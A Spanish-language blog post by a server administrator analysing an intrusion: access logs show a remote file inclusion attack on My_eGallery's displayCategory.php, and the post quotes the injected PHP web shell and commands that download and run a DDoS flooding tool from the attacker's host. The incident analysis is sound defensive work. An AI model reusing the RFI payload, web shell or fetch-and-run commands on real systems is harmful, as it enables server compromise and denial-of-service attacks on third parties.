Esta mañana estaba trabajando normalmente cuando noté que el servidor estaba lento. Me conecté por ssh y encontré algunas sorpresas inesperadas y nada agradables.
Lo primero que pensé era que de alguna página estaban bajando muchas cosas y por eso andaba lento. Pero no, corrí top y vi que había un proceso llamado VadimII. De inmediato lo maté y todo volvió a la normalidad.
Me puse a buscar cosas llamadas 'vadim' y encontré el programa responsable en /var/tmp. Cabe mencionar que el proceso pertenecía a nobody. Por tanto el servidor todavía no era pwn3d.
Revisé los logs para ver quién había ejecutado el programa (nobody corresponde al user que usa apache server y php) y encontré lo siguiente:
<SomeSiteInMyServer>:82.126.143.140 - - [25/Feb/2005:09:31:27 -0800] "GET /home/modules/My_eGallery/public/displayCategory.php?basepath=http://haxing.net/php.txt?&cmd=cd%20/var/tmp;killall%20-9%20vadimII HTTP/1.1" 200 980 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
<SomeSiteInMyServer>:82.126.143.140 - - [25/Feb/2005:10:13:15 -0800] "GET /home/modules/My_eGallery/public/displayCategory.php?basepath=http://haxing.net/php.txt?&cmd=cd%20/var/tmp;wget%20haxing.net/fld.tgz;tar%20xzvf%20fld.tgz;cd%20flood/bin;./vadimII%2081.169.158.154%2053%2010%200 HTTP/1.1" 200 3874 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
Así que suspendí <SomeSiteInMyServer> para evitar que el suceso se vuelva a repetir. Ahora la parte divertida. Quién lo hizo y qué fue lo que hizo?
¿Qué fue lo que pasó?
Cierto usuario malintencionado, que desde ahora identificaremos como '82.126.143.140' ejecutó código malicioso aprovechando cierta vulnerabilidad en My_eGallery.
El exploit funciona al mandar a displayCategory.php los siguientes argumentos:
- basepath=http://haxing.net/php.txt?
- cmd=cd%20/var/tmp;killall%20-9%20vadimII
El primero manda a displayCategory.php una variable llamada $basepath con el valor http://haxing.net/php.txt? El cídigo en displayCategory.php está mal desde la segunda línea.
include ("$basepath/public/imageFunctions.php");
Este URL se traduce a http://haxing.net/php.txt?/public/imageFunctions.php Como todo lo que está después de '?' es un argumento que no se toma en cuenta, siempre es regreado php.txt
php.txt
<br><font face="verdana" size="2"><center><b>CMD</b> - System
Command</font><br><font face="verdana" size="1">Script ini di copy dengan pemberitahuan kepada pengguna sebelumnya.... </font><br><br></center><font
face="Verdana" size="1"></center><br>
<b>#</b> CMD PHP INJECTIONS: <br>
<b>#</b> Edit by : <b>#WestBorneo Crew</b><br>
<br>
<br>
<hr color="black" width=751px height=115px>
<br>
<pre><font face="Verdana" size="1">
<?
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<",
"<",
$output));
?>
</font></pre>
<br>
<hr color="black" width=751px height=115px>
<br>
<font face="Verdana" size="1"><b># www.setrom.da.ru</b><br><b>@
</b>SeTRoM<br><b>#
</b>
--=="#westborneo The Dream Team" ==--
Aquí la línea interesante es system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp"); que ejecuta lo que le mandamos en $cmd.
Por suerte los compiladores están desactivados para los usuarios, por lo que no pudo compilar un root kit. Pero ejecutó vadimII que es un programa para realizar DDoS. En este caso a 81.169.158.154.
Los comandos de la segunda petición son los siguientes:
cd /var/tmp;
wget haxing.net/fld.tgz;
tar xzvf fld.tgz;
cd flood/bin;
./vadimII 81.169.158.154 53 10 0
Haré una auditoría más a fondo para ver qué tan comprometido está mi servidor y ver si tiene relación con ataques anteriores.